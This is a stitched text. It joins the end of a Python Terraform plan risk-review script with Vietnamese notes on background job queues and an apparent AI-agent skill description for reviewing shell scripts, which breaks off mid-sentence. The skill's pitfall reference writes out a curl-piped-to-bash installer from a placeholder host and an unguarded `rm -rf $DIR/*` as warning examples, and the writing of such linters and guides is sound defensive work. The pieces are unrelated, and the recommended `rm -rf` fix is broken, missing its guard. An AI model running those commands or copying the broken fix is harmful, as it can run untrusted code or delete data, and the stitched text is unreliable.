out.append(finding("HIGH", "IAM_ADMIN", addr, f"attaches {arn.split('/')[-1]}", "Attach a least-privilege policy instead; keep admin roles for break-glass use with MFA."))
elif arn.endswith("FullAccess") and get(before, "policy_arn") != arn:
out.append(finding("MEDIUM", "IAM_WILDCARD", addr, f"attaches {arn.split('/')[-1]}", "Prefer a scoped customer-managed policy."))
if rtype == "aws_lambda_function_url" and get(after, "authorization_type") == "NONE":
out.append(finding("MEDIUM", "PUBLIC_FUNCTION_URL", addr, "Lambda function URL with authorization_type NONE is public", "Use AWS_IAM auth or validate requests in the function."))
new_open = open_rules(rtype, after) - (open_rules(rtype, before) if kind == "update" else set())
for cidr, lo, hi, proto in sorted(new_open, key=lambda x: (x[1], x[2])):
label = port_label(lo, hi, proto)
if proto == "all" or (lo == 0 and hi == 65535) or any(lo <= p <= hi for p in SENSITIVE_PORTS):
sev = "HIGH"
elif lo in WEB_PORTS and hi == lo:
sev = "INFO"
else:
sev = "MEDIUM"
out.append(finding(sev, "PUBLIC_INGRESS", addr, f"new ingress from {cidr} on {label}",
"Restrict the source to known CIDRs or a load balancer security group; reach admin ports through SSM, VPN or a bastion." if sev != "INFO" else "Expected for a public web endpoint; make sure only the load balancer is exposed."))
for attr in POLICY_ATTRS:
if attr in after or get(unknown, attr):
if sensitive(am, attr):
continue
out += check_policy(addr, attr, get(before, attr), get(after, attr), get(unknown, attr) is True)
return kind, out
def review_json(plan):
if not isinstance(plan, dict) or "format_version" not in plan:
raise ValueError("not a terraform show -json document (no format_version)")
changes, findings = [], []
for rc in plan.get("resource_changes") or []:
kind, f = review_change(rc)
if kind not in ("no-op", "read") and rc.get("mode") != "data":
changes.append((kind, rc.get("address", "?")))
findings += f
if (rc.get("change") or {}).get("importing"):
findings.append(finding("INFO", "IMPORT", rc.get("address", "?"), "will be imported", "Check the plan shows no further changes after import."))
if rc.get("previous_address"):
findings.append(finding("INFO", "MOVED", rc.get("address", "?"), f"moved from {rc['previous_address']}", "No action; moved blocks avoid destroy + create."))
drift = [d.get("address", "?") for d in plan.get("resource_drift") or []]
if drift:
findings.append(finding("INFO", "DRIFT", ", ".join(drift[:5]) + (" ..." if len(drift) > 5 else ""),
f"{len(drift)} resource(s) changed outside Terraform", "Find out who changed them; the plan may revert manual fixes."))
if plan.get("errored"):
findings.append(finding("HIGH", "PLAN_ERRORED", "-", "the plan errored", "Fix the errors and re-plan before applying anything."))
elif plan.get("complete") is False:
findings.append(finding("MEDIUM", "PLAN_INCOMPLETE", "-", "plan is not complete (deferred or -target changes)", "Run a full plan after this apply."))
return changes, findings, plan.get("terraform_version", "?")
TEXT_RE = re.compile(r"^\s*# (\S+) (will be created|will be destroyed|will be updated in-place|must be replaced|will be read during apply|will no longer be managed by Terraform)")
def review_text(text):
text = re.sub(r"\x1b\[[0-9;]*m", "", text)
lines = text.splitlines()
changes, findings = [], []
i = 0
while i < len(lines):
m = TEXT_RE.match(lines[i])
if not m:
i += 1; continue
addr, verb = m.group(1), m.group(2)
rtype = re.sub(r"^(module\.[^.]+\.)*", "", addr).split(".")[0]
if addr.startswith("data.") or ".data." in addr or "read during apply" in verb:
i += 1; continue
block, j = [], i + 1
while j < len(lines) and not TEXT_RE.match(lines[j]) and not lines[j].startswith("Plan:"):
block.append(lines[j]); j += 1
first = next((l.strip() for l in block if l.strip() and not l.strip().startswith("#")), "")
reason = next((l.strip()[3:-1] for l in block[:3] if l.strip().startswith("# (")), "")
kind = {"will be created": "create", "will be destroyed": "destroy", "will be updated in-place": "update",
"will no longer be managed by Terraform": "forget"}.get(verb)
if verb == "must be replaced":
kind = "replace (create first)" if first.startswith("+/-") else "replace (destroy first)"
forced = [re.sub(r"^[~+\-/ ]+", "", l.strip()).split(" ")[0] for l in block if "# forces replacement" in l]
rc = {"address": addr, "type": rtype, "change": {"actions": {"create": ["create"], "update": ["update"], "destroy": ["delete"], "forget": ["forget"],
"replace (create first)": ["create", "delete"], "replace (destroy first)": ["delete", "create"]}[kind],
"replace_paths": [[f] for f in forced]}}
if "out of range for count" in reason or "count index" in reason:
rc["action_reason"] = "delete_because_count_index"
elif "not in for_each map" in reason:
rc["action_reason"] = "delete_because_each_key"
elif "not in configuration" in reason:
rc["action_reason"] = "delete_because_no_resource_config"
k, f = review_change(rc)
changes.append((k, addr))
findings += f
i = j
if not changes and "No changes." not in text:
raise ValueError("no resource changes found; is this terraform plan output?")
findings.append(finding("INFO", "TEXT_MODE", "-", "text plan: only actions were checked, not attribute values (IAM, ingress, protection flags)",
"Run `terraform show -json plan.out > plan.json` and review the JSON for full checks."))
return changes, findings, "version unknown (text plan)"
def summarize(changes, findings):
counts = {}
for k, _ in changes:
key = "replace" if k.startswith("replace") else k
counts[key] = counts.get(key, 0) + 1
findings.sort(key=lambda f: (SEV_ORDER[f["severity"]], f["resource"]))
sev = {s: sum(1 for f in findings if f["severity"] == s) for s in SEV_ORDER}
if sev["HIGH"]:
verdict = "DO NOT APPLY as is: resolve or explicitly accept every HIGH finding"
elif sev["MEDIUM"]:
verdict = "Apply after review: MEDIUM findings need an owner's OK"
else:
verdict = "Low risk"
return counts, sev, verdict
def render(path, version, changes, findings):
counts, sev, verdict = summarize(changes, findings)
out = [f"# Terraform plan risk review: {path}", "",
f"Terraform {version}. Changes: " + ", ".join(f"{counts.get(k, 0)} {k}" for k in ("create", "update", "replace", "destroy")) +
(f", {counts['forget']} forget" if counts.get("forget") else ""),
f"Findings: {sev['HIGH']} HIGH, {sev['MEDIUM']} MEDIUM, {sev['LOW']} LOW, {sev['INFO']} INFO",
f"Verdict: {verdict}", "", "## Findings", ""]
if findings:
out += ["| Severity | Code | Resource | Problem | What to do |", "|---|---|---|---|---|"]
for f in findings:
out.append(f"| {f['severity']} | {f['code']} | `{f['resource']}` | {f['problem']} | {f['fix']} |")
else:
out.append("No findings.")
out += ["", "## All changes", "", "| Action | Resource |", "|---|---|"]
order = {"destroy": 0, "replace (destroy first)": 1, "replace (create first)": 2, "update": 3, "create": 4, "forget": 5}
for k, a in sorted(changes, key=lambda x: (order.get(x[0], 9), x[1])):
out.append(f"| {k} | `{a}` |")
out += ["", "Plan JSON can contain secrets in plain text: do not paste it into tickets or chats; share this summary instead."]
return "\n".join(out)
def self_test():
cases = []
def t(name, cond):
cases.append((name, bool(cond)))
def codes(rc):
return {f["code"]: f["severity"] for f in review_change(rc)[1]}
def rc(rtype, actions, before=None, after=None, **kw):
d = {"address": f"{rtype}.x", "mode": "managed", "type": rtype, "change": {"actions": actions, "before": before, "after": after, **kw.pop("change", {})}}
d.update(kw)
return d
t("kind names", kind_of(["delete", "create"]) == "replace (destroy first)" and kind_of(["create", "delete"]) == "replace (create first)" and kind_of(["delete"]) == "destroy")
t("db destroy = HIGH DATA_LOSS", codes(rc("aws_db_instance", ["delete"], {"id": "a"}, None)).get("DATA_LOSS") == "HIGH")
t("bucket replace = HIGH DATA_LOSS", codes(rc("aws_s3_bucket", ["create", "delete"], {}, {})).get("DATA_LOSS") == "HIGH")
t("stateless destroy LOW", codes(rc("aws_iam_role", ["delete"], {}, None)).get("DESTROY") == "LOW")
t("instance destroy-first replace MEDIUM", codes(rc("aws_instance", ["delete", "create"], {}, {})).get("REPLACE") == "MEDIUM")
t("create-first replace LOW", codes(rc("aws_lb_target_group", ["create", "delete"], {}, {})).get("REPLACE") == "LOW")
t("replace_paths shown", "forced by engine" in review_change(rc("aws_instance", ["delete", "create"], {}, {}, change={"replace_paths": [["engine"]]}))[1][0]["problem"])
t("random_password regenerated", codes(rc("random_password", ["delete", "create"], {}, {})).get("SECRET_REGENERATED") == "MEDIUM")
t("count index shift", "COUNT_INDEX_SHIFT" in codes(rc("aws_instance", ["delete"], {}, None, action_reason="delete_because_count_index")))
t("no-op ignored", review_change(rc("aws_vpc", ["no-op"], {}, {}))[1] == [])
t("deletion_protection turned off HIGH", codes(rc("aws_db_instance", ["update"], {"deletion_protection": True}, {"deletion_protection": False})).get("PROTECTION_OFF") == "HIGH")
t("skip_final_snapshot MEDIUM", "NO_FINAL_SNAPSHOT" in codes(rc("aws_db_instance", ["create"], None, {"skip_final_snapshot": True})))
t("force_destroy MEDIUM", "FORCE_DESTROY" in codes(rc("aws_s3_bucket", ["update"], {"force_destroy": False}, {"force_destroy": True})))
t("unchanged force_destroy not re-flagged", "FORCE_DESTROY" not in codes(rc("aws_s3_bucket", ["update"], {"force_destroy": True}, {"force_destroy": True})))
t("encryption off", "ENCRYPTION_OFF" in codes(rc("aws_ebs_volume", ["create"], None, {"encrypted": False})))
t("publicly_accessible HIGH", codes(rc("aws_db_instance", ["update"], {"publicly_accessible": False}, {"publicly_accessible": True})).get("PUBLIC_DATABASE") == "HIGH")
sg_b = {"ingress": [{"cidr_blocks": ["10.0.0.0/8"], "from_port": 22, "to_port": 22, "protocol": "tcp"}]}
sg_a = {"ingress": sg_b["ingress"] + [{"cidr_blocks": ["0.0.0.0/0"], "from_port": 22, "to_port": 22, "protocol": "tcp"}]}
t("new SSH from 0.0.0.0/0 HIGH", codes(rc("aws_security_group", ["update"], sg_b, sg_a)).get("PUBLIC_INGRESS") == "HIGH")
t("existing open rule not re-flagged", "PUBLIC_INGRESS" not in codes(rc("aws_security_group", ["update"], sg_a, sg_a)))
t("443 from internet INFO", codes(rc("aws_vpc_security_group_ingress_rule", ["create"], None, {"cidr_ipv4": "0.0.0.0/0", "from_port": 443, "to_port": 443, "ip_protocol": "tcp"})).get("PUBLIC_INGRESS") == "INFO")
t("all protocols HIGH", codes(rc("aws_security_group_rule", ["create"], None, {"type": "ingress", "cidr_blocks": ["0.0.0.0/0"], "from_port": 0, "to_port": 0, "protocol": "-1"})).get("PUBLIC_INGRESS") == "HIGH")
t("ipv6 ::/0 8080 MEDIUM", codes(rc("aws_security_group_rule", ["create"], None, {"type": "ingress", "ipv6_cidr_blocks": ["::/0"], "from_port": 8080, "to_port": 8080, "protocol": "tcp"})).get("PUBLIC_INGRESS") == "MEDIUM")
t("gcp firewall 3389", codes(rc("google_compute_firewall", ["create"], None, {"direction": "INGRESS", "source_ranges": ["0.0.0.0/0"], "allow": [{"protocol": "tcp", "ports": ["3389"]}]})).get("PUBLIC_INGRESS") == "HIGH")
t("azure nsg * HIGH", codes(rc("azurerm_network_security_rule", ["create"], None, {"direction": "Inbound", "access": "Allow", "source_address_prefix": "*", "destination_port_range": "*", "protocol": "Tcp"})).get("PUBLIC_INGRESS") == "HIGH")
t("S3 public access block off", codes(rc("aws_s3_bucket_public_access_block", ["update"], {"block_public_policy": True}, {"block_public_policy": False})).get("S3_PUBLIC_ACCESS") == "HIGH")
t("public-read ACL", "PUBLIC_ACL" in codes(rc("aws_s3_bucket_acl", ["create"], None, {"acl": "public-read"})))
pol = lambda *st: json.dumps({"Version": "2012-10-17", "Statement": list(st)})
t("admin policy HIGH", codes(rc("aws_iam_policy", ["create"], None, {"policy": pol({"Effect": "Allow", "Action": "*", "Resource": "*"})})).get("IAM_ADMIN") == "HIGH")
t("PassRole on * HIGH", codes(rc("aws_iam_role_policy", ["create"], None, {"policy": pol({"Effect": "Allow", "Action": ["iam:PassRole"], "Resource": "*"})})).get("IAM_ESCALATION") == "HIGH")
t("s3:* on bucket MEDIUM", codes(rc("aws_iam_role_policy", ["create"], None, {"policy": pol({"Effect": "Allow", "Action": "s3:*", "Resource": "arn:aws:s3:::b/*"})})).get("IAM_WILDCARD") == "MEDIUM")
t("IAM_WIDENED lists new actions", "s3:DeleteObject on arn:aws:s3:::b/*" in next(f["problem"] for f in review_change(rc("aws_iam_role_policy", ["update"],
{"policy": pol({"Effect": "Allow", "Action": "s3:GetObject", "Resource": "arn:aws:s3:::b/*"})},
{"policy": pol({"Effect": "Allow", "Action": ["s3:GetObject", "s3:DeleteObject"], "Resource": "arn:aws:s3:::b/*"})}))[1] if f["code"] == "IAM_WIDENED"))
t("Deny statements ignored", "IAM_ADMIN" not in codes(rc("aws_iam_policy", ["create"], None, {"policy": pol({"Effect": "Deny", "Action": "*", "Resource": "*"})})))
t("trust anyone HIGH", codes(rc("aws_iam_role", ["create"], None, {"assume_role_policy": pol({"Effect": "Allow", "Principal": {"AWS": "*"}, "Action": "sts:AssumeRole"})})).get("TRUST_ANYONE") == "HIGH")
t("trust with condition ok", "TRUST_ANYONE" not in codes(rc("aws_iam_role", ["create"], None, {"assume_role_policy": pol({"Effect": "Allow", "Principal": {"AWS": "*"}, "Action": "sts:AssumeRole", "Condition": {"StringEquals": {"aws:PrincipalOrgID": "o-1"}}})})))
t("bucket policy Principal * HIGH", codes(rc("aws_s3_bucket_policy", ["create"], None, {"policy": pol({"Effect": "Allow", "Principal": "*", "Action": "s3:GetObject", "Resource": "arn:aws:s3:::b/*"})})).get("PUBLIC_POLICY") == "HIGH")
t("unknown policy INFO", "POLICY_UNKNOWN" in codes(rc("aws_iam_policy", ["create"], None, {}, change={"after_unknown": {"policy": True}})))
t("sensitive policy skipped", "IAM_ADMIN" not in codes(rc("aws_iam_policy", ["create"], None, {"policy": pol({"Effect": "Allow", "Action": "*", "Resource": "*"})}, change={"after_sensitive": {"policy": True}})))
t("AdministratorAccess attachment HIGH", codes(rc("aws_iam_role_policy_attachment", ["create"], None, {"policy_arn": "arn:aws:iam::aws:policy/AdministratorAccess"})).get("IAM_ADMIN") == "HIGH")
t("gcp allUsers HIGH", "PUBLIC_IAM" in codes(rc("google_storage_bucket_iam_member", ["create"], None, {"member": "allUsers", "role": "roles/storage.objectViewer"})))
t("not a plan rejected", raises(lambda: review_json({"foo": 1})))
ch, fs, _ = review_json({"format_version": "1.2", "resource_changes": [rc("aws_db_instance", ["delete"], {}, None)], "resource_drift": [{"address": "aws_lb.a"}], "errored": False, "complete": True})
t("json review with drift", ch == [("destroy", "aws_db_instance.x")] and {"DATA_LOSS", "DRIFT"} <= {f["code"] for f in fs})
txt = """ # aws_db_instance.main must be replaced
-/+ resource "aws_db_instance" "main" {
~ engine = "postgres" -> "mysql" # forces replacement
}
# aws_instance.web[1] will be destroyed
# (because index [1] is out of range for count)
- resource "aws_instance" "web" {
}
# aws_lb_target_group.a must be replaced
+/- resource "aws_lb_target_group" "a" {
}
Plan: 2 to add, 0 to change, 3 to destroy.
"""
ch, fs, _ = review_text(txt)
c = {f["code"] for f in fs}
t("text mode actions", ch == [("replace (destroy first)", "aws_db_instance.main"), ("destroy", "aws_instance.web[1]"), ("replace (create first)", "aws_lb_target_group.a")])
t("text mode findings", {"DATA_LOSS", "DESTROY", "REPLACE", "TEXT_MODE", "COUNT_INDEX_SHIFT"} <= c and "forced by engine" in next(f["problem"] for f in fs if f["code"] == "DATA_LOSS"))
t("text mode rejects junk", raises(lambda: review_text("hello")))
passed = sum(ok for _, ok in cases)
for name, ok in cases:
print(("PASS " if ok else "FAIL ") + name)
print(f"{passed}/{len(cases)} passed")
return 0 if passed == len(cases) else 1
def raises(fn):
try:
fn()
except ValueError:
return True
return False
def main():
ap = argparse.ArgumentParser(description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter)
ap.add_argument("plan", nargs="?", help="plan JSON (terraform show -json) or plan text (terraform plan -no-color)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args()
if a.self_test:
return self_test()
if not a.plan:
ap.print_usage(sys.stderr); return 2
try:
raw = open(a.plan, encoding="utf-8").read()
if raw.lstrip().startswith("{"):
changes, findings, version = review_json(json.loads(raw))
else:
changes, findings, version = review_text(raw)
except (OSError, UnicodeDecodeError, ValueError) as e:
print(f"error: {e}", file=sys.stderr); return 2
counts, sev, verdict = summarize(changes, findings)
if a.json:
print(json.dumps({"terraform_version": version, "counts": counts, "severity": sev, "verdict": verdict,
"findings": findings, "changes": [{"action": k, "address": x} for k, x in changes]}, indent=2))
else:
print(render(a.plan, version, changes, findings))
return 1 if sev["HIGH"] else 0
if __name__ == "__main__":
sys.exit(main())Các quy ước mang tính định hướng rõ ràng để xây dựng hàng đợi tác vụ nền (background job queues) và các worker đáng tin cậy.
# Tác vụ Nền (Background Jobs) taste của một kỹ sư độ tin cậy backend - Thiết kế mọi tác vụ (job) có tính lũy đẳng (idempotent) để việc thử lại (retry) hoặc gửi trùng lặp không bao giờ trừ tiền thẻ hay gửi email hai lần. Confidence: 0.95 - Chỉ truyền các ID trong phần dữ liệu (payload) của tác vụ và tải dữ liệu mới nhất bên trong worker thay vì tuần tự hóa (serialize) toàn bộ bản ghi. Confidence: 0.90 - Đưa các tác vụ vào hàng đợi (enqueue) trong cùng một giao dịch cơ sở dữ liệu (database transaction) với thao tác ghi đã kích hoạt chúng, bằng cách sử dụng bảng hộp thư đi (outbox table) hoặc hàng đợi dựa trên Postgres. Confidence: 0.85 - Ưu tiên sử dụng một hệ thống hàng đợi đơn giản, ổn định và được hỗ trợ tốt như Sidekiq, BullMQ, Celery hoặc hàng đợi Postgres như Graphile Worker thay vì tự xây dựng mới. Confidence: 0.80 - Thử lại với thời gian chờ tăng theo cấp số nhân (exponential backoff) kèm độ lệch ngẫu nhiên (jitter), và giới hạn số lần thử để các tác vụ lỗi độc hại (poison jobs) được chuyển vào hàng đợi thư chết (dead letter queue). Confidence: 0.95 - Phân loại lỗi thành lỗi có thể thử lại (retryable) hoặc lỗi vĩnh viễn (permanent), và cho dừng ngay lập tức các lỗi vĩnh viễn thay vì lãng phí số lần thử lại. Confidence: 0.85 - Thiết lập thời gian chờ tối đa (timeout) rõ ràng cho mọi tác vụ và cho mọi lệnh gọi mạng mà tác vụ đó thực hiện. Confidence: 0.90 - Giữ cho các tác vụ nhỏ gọn và chạy nhanh, đồng thời chia nhỏ các công việc xử lý hàng loạt (batch work) kéo dài thành từng phần (chunks) có thể tiếp tục chạy lại từ điểm đánh dấu (checkpoint). Confidence: 0.85 - Sử dụng các hàng đợi riêng biệt cho công việc nhạy cảm với độ trễ và công việc xử lý số lượng lớn (bulk work) để tác vụ nạp bù dữ liệu (backfill) không bao giờ làm chậm email đặt lại mật khẩu. Confidence: 0.90 - Giới hạn tần suất (rate limit) các tác vụ gọi API bên thứ ba theo từng nhà cung cấp dịch vụ, chứ không phải theo từng tiến trình worker. Confidence: 0.80 - Sử dụng khóa tác vụ duy nhất (unique job keys) hoặc cơ chế khóa (locks) để ngăn cùng một tác vụ định kỳ chạy hai lần cùng lúc. Confidence: 0.85 - Chạy các lịch trình kiểu cron từ một bộ lập lịch (scheduler) duy nhất có cơ chế bầu chọn nút dẫn đầu (leader election), tuyệt đối không chạy từ mọi thực thể (instance) của ứng dụng. Confidence: 0.80 - Đánh phiên bản (version) cho dữ liệu đầu vào (payload) của tác vụ và đảm bảo các worker vẫn đọc được phiên bản cũ trong quá trình triển khai (deploy) bản mới. Confidence: 0.80 - Xử lý tín hiệu SIGTERM một cách êm đẹp (gracefully): ngừng nhận tác vụ mới, hoàn tất hoặc đưa lại tác vụ hiện tại vào hàng đợi, sau đó mới thoát. Confidence: 0.90 - Ghi nhận mã tác vụ (job ID), số thứ tự lần thử (attempt number) và mã tương quan (correlation ID) trên mọi dòng nhật ký (log) phát sinh từ một tác vụ. Confidence: 0.85 - Cảnh báo dựa trên độ sâu của hàng đợi, tuổi của tác vụ cũ nhất và mức tăng trưởng của hàng đợi thư chết (dead letter queue), chứ không chỉ cảnh báo khi worker bị sập. Confidence: 0.90 - Phân công người phụ trách rõ ràng cho hàng đợi thư chết và có tài liệu hướng dẫn lệnh chạy lại (replay command). Confidence: 0.75 - Kiểm thử các tác vụ bằng cách gọi trực tiếp hàm xử lý (handler) trong kiểm thử đơn vị (unit tests) và chạy một bài kiểm thử đầu-cuối (end-to-end) thông qua hàng đợi thật trong hệ thống CI. Confidence: 0.80 - Tránh nối chuỗi quá nhiều tác vụ thành các luồng công việc ngầm phức tạp; hãy sử dụng một công cụ điều phối luồng công việc (workflow engine) như Temporal khi các bước cần được điều phối chặt chẽ. Confidence: 0.70 - Lưu trữ kết quả tác vụ và các dấu hiệu đánh dấu hiệu ứng phụ (side-effect markers) trong cơ sở dữ liệu, chứ không chỉ lưu trong hệ thống lưu trữ của hàng đợi. Confidence: 0.75
Rà soát các kịch bản (script) bash và POSIX sh trước khi chúng chạy trong CI, cron hoặc môi trường production. Phát hiện và gắn cờ việc thiếu chế độ nghiêm ngặt (strict mode), lệnh rm -rf trên các biến có thể bị rỗng, truyền kết quả curl qua pipe vào shell, lệnh eval, mở rộng biến không đặt trong dấu ngoặc kép, lệnh cd không kiểm tra lỗi, phân tích cú pháp kết quả lệnh ls, chmod 777, bí mật (secret) gắn cứng trong mã, tệp /tmp có tên dễ đoán trước, lệnh ssh nuốt mất dữ liệu của vòng lặp read, mã thoát (exit code) bị che khuất và các cú pháp riêng của bash (bashism) chạy dưới /bin/sh, sau đó trả về bản script đã được sửa lỗi. Bao gồm một bộ kiểm tra mã nguồn (linter) bằng thư viện chuẩn Python có hỗ trợ --self-test.
--- name: shell-script-safety-reviewer description: Rà soát các kịch bản (script) bash và POSIX sh trước khi chúng chạy trong CI, cron hoặc môi trường production. Phát hiện và gắn cờ việc thiếu chế độ nghiêm ngặt (strict mode), lệnh rm -rf trên các biến có thể bị rỗng, truyền kết quả curl qua pipe vào shell, lệnh eval, mở rộng biến không đặt trong dấu ngoặc kép, lệnh cd không kiểm tra lỗi, phân tích cú pháp kết quả lệnh ls, chmod 777, bí mật (secret) gắn cứng trong mã, tệp /tmp có tên dễ đoán trước, lệnh ssh nuốt mất dữ liệu của vòng lặp read, mã thoát (exit code) bị che khuất và các cú pháp riêng của bash (bashism) chạy dưới /bin/sh, sau đó trả về bản script đã được sửa lỗi. Bao gồm một bộ kiểm tra mã nguồn (linter) bằng thư viện chuẩn Python có hỗ trợ --self-test. --- # Công cụ Rà soát Độ an toàn của Shell Script Bạn rà soát các shell script theo đúng cách một kỹ sư SRE cẩn trọng sẽ làm trước khi cho phép chúng chạy tự động không người giám sát: các script triển khai (deploy), tác vụ định kỳ (cron job), các bước CI, trình cài đặt và các entrypoint của Docker. Bạn tìm ra những dòng lệnh có nguy cơ xóa nhầm dữ liệu, làm lộ bí mật (secret), thực thi mã không đáng tin cậy hoặc gặp lỗi âm thầm mà không báo, giải thích từng vấn đề bằng ngôn ngữ dễ hiểu, và trả lại một bản script đã được sửa lỗi hoàn chỉnh mà vẫn thực hiện đúng công việc ban đầu. ## Các tệp trong kỹ năng này - `scripts/shell_lint.py` - bộ kiểm tra mã nguồn (linter) theo từng dòng dành cho bash và POSIX sh có khả năng hiểu dấu ngoặc kép, chú thích, heredoc, `[[ ]]`, `(( ))`, phép gán và các từ khóa trong cấu trúc case; in ra bảng các phát hiện kèm cách khắc phục, hoặc xuất ra định dạng JSON (chỉ sử dụng thư viện chuẩn Python 3) - `references/shell-pitfalls.md` - mọi quy tắc mà linter kiểm tra: điều gì sẽ xảy ra khi lỗi, ví dụ tối thiểu gây lỗi và cách khắc phục - `references/safe-patterns.md` - phần đầu tệp (header) bật chế độ nghiêm ngặt, cách tạo tệp tạm an toàn và dọn dẹp, vòng lặp duyệt tệp an toàn, phân tích đối số đầu vào, xử lý bí mật, tải tệp và ghi nhật ký (logging) - `templates/shell-review.md` - mẫu báo cáo rà soát để bàn giao lại - `examples/deploy.sh` - một script triển khai thực tế chứa 20 phát hiện lỗi (trong đó có 3 lỗi mức HIGH) - `examples/deploy-fixed.sh` - chính script đó sau khi được rà soát và sửa lỗi; vượt qua hoàn toàn bước kiểm tra của linter và ShellCheck ## Quy trình làm việc ### 1. Thu thập ngữ cảnh Hãy hỏi xem cái gì sẽ chạy script này (CI, cron, systemd, hay con người chạy trực tiếp), chạy trên shell và hệ điều hành nào (bash 5 trên Ubuntu, sh trên Alpine/busybox, hay macOS bash 3.2), ai có thể kiểm soát các dữ liệu đầu vào của nó (đối số dòng lệnh, biến môi trường, tên tệp, dữ liệu mạng) và liệu nó có chạy dưới quyền root hay không. Hãy yêu cầu cung cấp toàn bộ script chứ không chỉ một đoạn cắt rời: chế độ nghiêm ngặt (strict mode) và các bẫy sự kiện (trap) thường nằm ở ngay đầu tệp. ### 2. Chạy bộ kiểm tra (linter) ``` python3 scripts/shell_lint.py examples/deploy.sh python3 scripts/shell_lint.py deploy.sh entrypoint.sh --min-severity MEDIUM python3 scripts/shell_lint.py install.sh --json --ignore BACKTICKS python3 scripts/shell_lint.py --self-test ``` Mã thoát (Exit) 1 có nghĩa là có ít nhất một phát hiện mức HIGH, 2 nghĩa là không thể đọc được tệp. Bỏ qua cảnh báo cho một dòng chủ đích bằng chú thích `# shell-lint: disable=CODE`. Nếu trên máy có sẵn ShellCheck, hãy chạy cả công cụ đó (`shellcheck -f gcc script.sh`) rồi gộp kết quả lại; bộ linter này bổ sung thêm những bước kiểm tra mà ShellCheck không làm (lộ bí mật, `curl | sh`, `chmod 777`, tên tệp `/tmp` cố định, tắt kiểm tra TLS). ### 3. Rà soát thủ công Bộ linter chỉ là bước sàng lọc đầu tiên. Hãy đọc kỹ script từ trên xuống dưới và kiểm tra những điểm mà biểu thức chính quy (regex) không thể phát hiện được (xem `references/shell-pitfalls.md`): - Những đầu vào nào là không đáng tin cậy, và chúng có đi tới lệnh `rm`, `eval`, `ssh`, câu lệnh `sql` hay đường dẫn tệp nào không? - Mọi bước có tính chất xóa/phá hủy dữ liệu có chỉ được chạy sau khi đã thỏa mãn các điều kiện tiên quyết (đúng thư mục, biến không rỗng, đã xác nhận máy chủ đích) hay không? - Script có đảm bảo tính lũy đẳng (idempotent) không: có thể chạy hai lần liên tiếp, hoặc chạy tiếp sau khi bị dừng giữa chừng do lỗi không? - Các lỗi có hiển thị rõ ràng không: khi có lỗi xảy ra trong đường ống (pipe), subshell hoặc hàm, script có dừng lại ngay và để lại thông báo rõ ràng không? - Script có dọn dẹp sạch các tệp tạm, tệp khóa (lock) và các tiến trình chạy ngầm khi thoát bình thường cũng như khi nhấn Ctrl+C không? ### 4. Sửa lỗi và bàn giao Điền đầy đủ vào `templates/shell-review.md`: kết luận tổng quan, bảng danh sách phát hiện (mức độ nghiêm trọng, dòng, vấn đề, cách sửa), toàn bộ mã nguồn script đã sửa, bản so sánh (diff) những thay đổi quan trọng, và hướng dẫn cách kiểm thử an toàn (chạy thử dry run, dùng `bash -n`, chạy trong thư mục hoặc container dùng một lần, bật `set -x`). Giữ nguyên hành vi nghiệp vụ của script; nêu rõ bất kỳ thay đổi hành vi nào. ## Ví dụ kết quả `examples/deploy.sh`: 20 phát hiện, 3 lỗi mức HIGH. Một token Slack bị gắn cứng trong mã (HARDCODED_SECRET, cần xoay vòng/đổi token mới), một trình cài đặt được truyền thẳng từ lệnh curl qua pipe vào sudo bash (CURL_PIPE_SHELL), và lệnh `rm -rf $WEB_ROOT/*` sẽ xóa sạch toàn bộ `/*` nếu biến WEB_ROOT vô tình bị rỗng (RM_EMPTY_VAR). Script không có `set -e`, nên nếu lệnh `cd $BUILD_DIR` thất bại thì các lệnh rm và cp phía sau sẽ chạy ngay tại thư mục không mong muốn; lệnh `ssh` nằm bên trong vòng lặp `while read host` nuốt mất luồng dữ liệu của tệp hosts.txt, khiến chỉ có máy chủ đầu tiên được khởi động lại (SSH_STDIN_LOOP); cú pháp `local count=$(...)` làm che khuất trạng thái lỗi. Tệp `examples/deploy-fixed.sh` đã khắc phục toàn bộ các lỗi trên và vượt qua bước kiểm tra linter không còn cảnh báo nào. ## Quy tắc - Xếp hạng theo mức độ ảnh hưởng: nguy cơ mất dữ liệu, thực thi mã tùy ý và lộ bí mật phải đặt lên hàng đầu, tiếp theo là các lỗi âm thầm (silent failures), cuối cùng mới đến phong cách viết mã (style). - Mặc định luôn đặt biến trong dấu ngoặc kép; giải thích rõ tại vị trí duy nhất nào mà việc tách từ (word splitting) là có chủ đích và hãy sử dụng mảng (array) tại đó. - Không bao giờ chỉ đề xuất mỗi `set -e` làm giải pháp duy nhất: phải kiểm tra cả các đường ống (pipefail), subshell, cú pháp `local x=$(...)` và các ngữ cảnh `if cmd` nơi chế độ tự thoát khi lỗi (errexit) bị vô hiệu hóa. - Yêu cầu xoay vòng (rotate) bất kỳ bí mật nào tìm thấy trong script, ngay cả khi kho mã nguồn (repo) ở chế độ riêng tư, và phải nêu rõ điều đó trong báo cáo. - Ưu tiên sử dụng cú pháp chuẩn POSIX khi dòng shebang là `/bin/sh`; nếu không thì phải đổi dòng shebang thành `bash`. - Không được chạy script đang rà soát trực tiếp trên các hệ thống thật để "kiểm thử"; hãy dùng `bash -n`, chạy trong container hoặc dùng cờ chạy thử (dry-run). FILE:references/shell-pitfalls.md # Các bẫy thường gặp trong Shell được kiểm tra bởi shell_lint.py Mức độ nghiêm trọng: HIGH = có thể xóa nhầm dữ liệu, chạy mã không đáng tin cậy hoặc làm lộ bí mật. MEDIUM = trả về kết quả sai hoặc gặp lỗi âm thầm với dữ liệu đầu vào thực tế. LOW = mã dễ vỡ hoặc dùng cú pháp cũ không còn khuyến khích. ## Mức HIGH ### RM_EMPTY_VAR / RM_ROOT Lệnh `rm -rf $DIR/*` sẽ biến thành `rm -rf /*` khi biến DIR bị rỗng hoặc chưa được khởi tạo (do gõ sai tên biến, thiếu đối số truyền vào, hoặc lệnh thay thế `$(...)` bị lỗi). Trình khách (client) Steam trên Linux từng phát hành bản cập nhật dính chính xác lỗi này vào năm 2015. ```bash rm -rf -- "?DIR is empty"/* # aborts with a message if DIR is empty ``` Chỉ dùng mỗi `set -u` sẽ không giúp ích được gì khi biến đó đã được khởi tạo nhưng mang giá trị là một chuỗi rỗng. ### CURL_PIPE_SHELL Lệnh `curl https://x/install.sh | bash` sẽ thực thi bất cứ thứ gì mà máy chủ (hoặc kẻ tấn công đứng giữa - MITM) gửi về, và nếu kết nối mạng bị đứt giữa chừng thì bash sẽ chạy một nửa script bị cắt cụt. Hãy tải về thành một 